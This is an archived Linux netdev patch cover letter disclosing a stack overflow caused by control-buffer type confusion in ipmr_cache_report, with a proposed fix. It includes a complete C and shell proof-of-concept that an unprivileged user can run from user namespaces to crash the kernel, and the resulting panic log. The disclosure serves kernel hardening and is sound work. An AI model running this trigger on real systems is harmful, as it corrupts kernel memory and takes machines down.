From: Ren Wei <enjou1224z@gmail.com>
To: netdev@vger.kernel.org
Cc: dsahern@kernel.org, idosch@nvidia.com, davem@davemloft.net,
edumazet@google.com, pabeni@redhat.com, horms@kernel.org,
leone4fernando@gmail.com, vega@nebusec.ai, zhilinz@nebusec.ai,
enjou1224z@gmail.com
Subject: [PATCH net 0/1] ipmr: only copy pktinfo to cache reports
Date: Tue, 28 Jul 2026 00:44:48 +0800 [thread overview]
Message-ID: <cover.1784894076.git.zhilinz@nebusec.ai> (raw)
From: Zhiling Zou <zhilinz@nebusec.ai>
Hi Linux kernel maintainers,
We found and validated an issue in net/ipv4/ipmr.c. The bug is
reachable by a non-root user after creating user and net namespaces with
namespace-local CAP_NET_ADMIN and CAP_NET_RAW.
We've tested it, and it should not affect any other functionality.
We will provide detailed information about the bug
in this email, along with a PoC to trigger it.
---- details below ----
Bug details:
ipmr_get_route() can clone a synthetic RTM_GETROUTE skb for an unresolved
multicast route and store the requester portid in NETLINK_CB(skb).portid
before queuing it to the unresolved multicast route path.
ipmr_cache_report() later builds a short IGMP report for the raw mroute
socket. To support IP_PKTINFO, it calls ipv4_pktinfo_prepare() on the
original packet and copies the original packet's entire control buffer to
the report skb.
For synthetic route-query packets, that copies NETLINK_CB bytes into a
skb that the raw IPv4 receive path interprets as IPCB. The requester
portid overlaps IPCB(skb)->opt fields. With IP_RECVOPTS or IP_RETOPTS
enabled on the mroute socket, those corrupted option fields can make the
receive path copy beyond the short report packet or overflow the fixed
stack option buffer in ip_options_echo().
The fix keeps IP_PKTINFO support by copying only the pktinfo fields
prepared by ipv4_pktinfo_prepare(), and clears the rest of the report
skb control buffer so no synthetic NETLINK_CB data is exposed as IPCB.
We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.
------BEGIN poc.sh------
#!/bin/sh
set -eu
mode="${1:-root}"
sysctl -w kernel.panic_on_warn=0 >/dev/null 2>&1 || true
sysctl -w kernel.printk="7 4 1 7" >/dev/null 2>&1 || true
case "$mode" in
root)
exec ./poc
;;
namespace)
exec unshare -Urn --map-root-user ./poc
;;
*)
echo "usage: $0 [root|namespace]" >&2
exit 1
;;
esac
------END poc.sh--------
------BEGIN poc.c------
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <linux/mroute.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <net/if.h>
#include <sched.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>
#define DEV_NAME "jwq0"
#define DEV_ADDR "10.23.0.1/24"
#define SRC_ADDR "10.23.0.2"
#define DST_ADDR "239.1.2.3"
#define NETLINK_PORTID 0x000f0001U
static void die(const char *fmt, ...)
{
va_list ap;
va_start(ap, fmt);
vfprintf(stderr, fmt, ap);
va_end(ap);
fputc('\n', stderr);
exit(EXIT_FAILURE);
}
static void die_errno(const char *msg)
{
die("%s: %s", msg, strerror(errno));
}
static void run_cmd(const char *fmt, ...)
{
char cmd[512];
va_list ap;
int rc;
va_start(ap, fmt);
vsnprintf(cmd, sizeof(cmd), fmt, ap);
va_end(ap);
printf("[cmd] %s\n", cmd);
fflush(stdout);
rc = system(cmd);
if (rc != 0)
die("command failed (%d): %s", rc, cmd);
}
static void addattr_l(struct nlmsghdr *nlh, size_t maxlen, int type,
const void *data, size_t alen)
{
size_t len = RTA_LENGTH(alen);
size_t newlen = NLMSG_ALIGN(nlh->nlmsg_len) + RTA_ALIGN(len);
struct rtattr *rta;
if (newlen > maxlen)
die("netlink attribute overflow");
rta = (struct rtattr *)(((char *)nlh) + NLMSG_ALIGN(nlh->nlmsg_len));
rta->rta_type = type;
rta->rta_len = len;
memcpy(RTA_DATA(rta), data, alen);
nlh->nlmsg_len = newlen;
}
static int create_dummy_interface(void)
{
unsigned int ifindex;
run_cmd("ip link del %s 2>/dev/null || true", DEV_NAME);
run_cmd("ip link set lo up");
run_cmd("ip link add %s type dummy", DEV_NAME);
run_cmd("ip addr add %s dev %s", DEV_ADDR, DEV_NAME);
run_cmd("ip link set %s up", DEV_NAME);
ifindex = if_nametoindex(DEV_NAME);
if (!ifindex)
die_errno("if_nametoindex(" DEV_NAME ")");
printf("[*] %s ifindex=%u\n", DEV_NAME, ifindex);
return (int)ifindex;
}
static int setup_mroute_socket(int ifindex)
{
struct vifctl vif = {
.vifc_vifi = 0,
.vifc_flags = VIFF_USE_IFINDEX,
.vifc_threshold = 1,
.vifc_rate_limit = 0,
.vifc_lcl_ifindex = ifindex,
};
int opt = 1;
int fd;
fd = socket(AF_INET, SOCK_RAW, IPPROTO_IGMP);
if (fd < 0)
die_errno("socket(AF_INET, SOCK_RAW, IPPROTO_IGMP)");
if (setsockopt(fd, SOL_IP, IP_RETOPTS, &opt, sizeof(opt)) < 0)
die_errno("setsockopt(IP_RETOPTS)");
if (setsockopt(fd, IPPROTO_IP, MRT_INIT, &opt, sizeof(opt)) < 0)
die_errno("setsockopt(MRT_INIT)");
if (setsockopt(fd, IPPROTO_IP, MRT_ADD_VIF, &vif, sizeof(vif)) < 0)
die_errno("setsockopt(MRT_ADD_VIF)");
printf("[*] mroute socket ready on vif ifindex=%d\n", ifindex);
return fd;
}
static int setup_netlink_socket(void)
{
struct sockaddr_nl local = {
.nl_family = AF_NETLINK,
.nl_pid = NETLINK_PORTID,
};
int fd;
fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
if (fd < 0)
die_errno("socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE)");
if (bind(fd, (struct sockaddr *)&local, sizeof(local)) < 0)
die_errno("bind(AF_NETLINK)");
printf("[*] netlink portid=0x%08x\n", NETLINK_PORTID);
printf("[*] portid bytes: optlen=%u srr=%u rr=%u ts=%u\n",
NETLINK_PORTID & 0xff,
(NETLINK_PORTID >> 8) & 0xff,
(NETLINK_PORTID >> 16) & 0xff,
(NETLINK_PORTID >> 24) & 0xff);
return fd;
}
static void trigger_getroute(int nl_fd, int ifindex)
{
struct {
struct nlmsghdr nlh;
struct rtmsg rtm;
char buf[256];
} req;
struct sockaddr_nl kernel = {
.nl_family = AF_NETLINK,
};
struct iovec iov = {
.iov_base = &req,
.iov_len = sizeof(req),
};
struct msghdr msg = {
.msg_name = &kernel,
.msg_namelen = sizeof(kernel),
.msg_iov = &iov,
.msg_iovlen = 1,
};
struct in_addr src;
struct in_addr dst;
memset(&req, 0, sizeof(req));
req.nlh.nlmsg_len = NLMSG_LENGTH(sizeof(struct rtmsg));
req.nlh.nlmsg_type = RTM_GETROUTE;
req.nlh.nlmsg_flags = NLM_F_REQUEST;
req.nlh.nlmsg_seq = 1;
req.rtm.rtm_family = AF_INET;
req.rtm.rtm_dst_len = 32;
req.rtm.rtm_src_len = 32;
if (inet_pton(AF_INET, SRC_ADDR, &src) != 1)
die("inet_pton failed for %s", SRC_ADDR);
if (inet_pton(AF_INET, DST_ADDR, &dst) != 1)
die("inet_pton failed for %s", DST_ADDR);
addattr_l(&req.nlh, sizeof(req), RTA_SRC, &src, sizeof(src));
addattr_l(&req.nlh, sizeof(req), RTA_DST, &dst, sizeof(dst));
addattr_l(&req.nlh, sizeof(req), RTA_IIF, &ifindex, sizeof(ifindex));
iov.iov_len = req.nlh.nlmsg_len;
printf("[*] sending RTM_GETROUTE for %s -> %s on ifindex %d\n",
SRC_ADDR, DST_ADDR, ifindex);
fflush(stdout);
if (sendmsg(nl_fd, &msg, 0) < 0)
die_errno("sendmsg(RTM_GETROUTE)");
}
static void receive_report(int mrt_fd)
{
char payload[512];
char control[4096];
struct iovec iov = {
.iov_base = payload,
.iov_len = sizeof(payload),
};
struct msghdr msg = {
.msg_iov = &iov,
.msg_iovlen = 1,
.msg_control = control,
.msg_controllen = sizeof(control),
};
ssize_t n;
printf("[*] waiting for mroute report; recvmsg should crash in IP_RETOPTS\n");
fflush(stdout);
n = recvmsg(mrt_fd, &msg, 0);
if (n < 0)
die_errno("recvmsg(mroute_sk)");
printf("[!] recvmsg returned %zd bytes without crashing\n", n);
}
int main(void)
{
int ifindex;
int mrt_fd;
int nl_fd;
printf("[*] ipmr_cache_report type-confusion trigger\n");
printf("[*] expected rr copy length comes from first byte of %s (%u)\n",
DST_ADDR, 239U);
ifindex = create_dummy_interface();
mrt_fd = setup_mroute_socket(ifindex);
nl_fd = setup_netlink_socket();
trigger_getroute(nl_fd, ifindex);
receive_report(mrt_fd);
close(nl_fd);
close(mrt_fd);
return 0;
}
------END poc.c--------
----BEGIN crash log----
[ 195.459259] Kernel panic - not syncing: stack-protector: Kernel stack is corrupted in: ip_cmsg_recv_offset (/home/roxy/linux-block-patch/build/../net/ipv4/ip_sockglue.c:65 (discriminator 1) /home/roxy/linux-block-patch/build/../net/ipv4/ip_sockglue.c:187 (discriminator 1))
[ 195.460787] CPU: 2 UID: 1028 PID: 1307 Comm: poc Not tainted 6.12.95 #1
[ 195.461640] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 195.463100] Call Trace:
[ 195.463432] <TASK>
[ 195.463733] panic (/home/roxy/linux-block-patch/build/../kernel/panic.c:955 (discriminator 1))
[ 195.464178] ? ip_cmsg_recv_offset (/home/roxy/linux-block-patch/build/../net/ipv4/ip_sockglue.c:65 (discriminator 1) /home/roxy/linux-block-patch/build/../net/ipv4/ip_sockglue.c:187 (discriminator 1))
[ 195.464769] __stack_chk_fail (/home/roxy/linux-block-patch/build/../kernel/panic.c:1195 (discriminator 1))
[ 195.465309] ip_cmsg_recv_offset (/home/roxy/linux-block-patch/build/../net/ipv4/ip_sockglue.c:65 (discriminator 1) /home/roxy/linux-block-patch/build/../net/ipv4/ip_sockglue.c:187 (discriminator 1))
[ 195.465878] ? __skb_datagram_iter (/home/roxy/linux-block-patch/build/../include/linux/skbuff.h:2533 /home/roxy/linux-block-patch/build/../net/core/datagram.c:394)
[ 195.466458] ? __pfx_simple_copy_to_iter+0x10/0x10
[ 195.467091] ? ____sys_recvmsg+0x98/0x1d0
[ 195.467633] ? ___sys_recvmsg+0x91/0xe0
[ 195.468154] ? srso_alias_return_thunk+0x5/0xfbef5
[ 195.468802] ? __sys_recvmsg+0x83/0xe0
[ 195.469305] ? do_syscall_64+0x58/0x120
[ 195.469824] ? entry_SYSCALL_64_after_hwframe+0x76/0x7e
[ 195.470498] </TASK>
[ 195.470983] Kernel Offset: disabled
-----END crash log-----
Best regards,
Zhiling Zou
Zhiling Zou (1):
ipmr: only copy pktinfo to cache reports
net/ipv4/ipmr.c | 6 +++++-
1 file changed, 5 insertions(+), 1 deletion(-)
--
2.43.0
next reply other threads:[~2026-07-27 16:44 UTC|newest]
Thread overview: 2+ messages / expand[flat|nested] mbox.gz Atom feed top
2026-07-27 16:44 Ren Wei [this message]
2026-07-27 16:44 ` [PATCH net 1/1] ipmr: only copy pktinfo to cache reports Ren Wei
Reply instructions:
You may reply publicly to this message via plain-text email
using any one of the following methods:
* Save the following mbox file, import it into your mail client,
and reply-to-all from there: mbox
Avoid top-posting and favor interleaved quoting:
https://en.wikipedia.org/wiki/Posting_style#Interleaved_style
* Reply using the --to, --cc, and --in-reply-to
switches of git-send-email(1):
git send-email \
--in-reply-to=cover.1784894076.git.zhilinz@nebusec.ai \
--to=enjou1224z@gmail.com \
--cc=davem@davemloft.net \
--cc=dsahern@kernel.org \
--cc=edumazet@google.com \
--cc=horms@kernel.org \
--cc=idosch@nvidia.com \
--cc=leone4fernando@gmail.com \
--cc=netdev@vger.kernel.org \
--cc=pabeni@redhat.com \
--cc=vega@nebusec.ai \
--cc=zhilinz@nebusec.ai \
/path/to/YOUR_REPLY
https://kernel.org/pub/software/scm/git/docs/git-send-email.html
* If your mail client supports setting the In-Reply-To header
via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line
before the message body.
This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.